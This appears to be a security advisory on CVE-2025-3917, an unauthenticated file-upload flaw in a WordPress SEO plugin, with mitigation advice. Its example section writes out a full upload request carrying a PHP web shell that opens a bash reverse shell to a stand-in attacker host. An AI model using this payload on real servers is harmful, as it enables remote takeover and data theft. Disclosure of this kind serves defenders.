Overview
In the ever-evolving landscape of cybersecurity, a new vulnerability has surfaced that poses a significant risk to websites using the 百度站长SEO合集 plugin for WordPress. This vulnerability, labelled as CVE-2025-3917, allows unauthenticated attackers to upload arbitrary files on the affected site’s server. This could potentially enable remote code execution, leading to a system compromise or data leakage. The seriousness of this vulnerability is highlighted by its CVSS severity score of 9.8, implying a critical level of risk.
Vulnerability Summary
CVE ID: CVE-2025-3917
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
百度站长SEO合集 WordPress Plugin | Up to and including 2.0.6
How the Exploit Works
The vulnerability stems from the lack of file type validation in the `download_remote_image_to_media_library` function in the 百度站长SEO合集 plugin. This omission allows attackers to upload arbitrary files onto the server hosting the WordPress site. Since the attack does not require any user interaction or special privileges, an unauthenticated attacker can exploit this flaw to upload a malicious file, potentially leading to remote code execution.
Conceptual Example Code
Here’s a conceptual example demonstrating how the vulnerability might be exploited. This could be a crafted HTTP POST request to the vulnerable endpoint carrying a malicious file:
POST /wp-content/plugins/seo-collection/download_remote_image_to_media_library HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a malicious PHP file is uploaded that, when executed, opens a reverse shell to the attacker’s server, granting them access to the target server.
Mitigation
The most effective solution is to apply the vendor’s patch. If the patch is not available or cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and blocking suspicious activities and traffic. Regularly updating all software, including WordPress plugins, can help prevent exploitation of known vulnerabilities.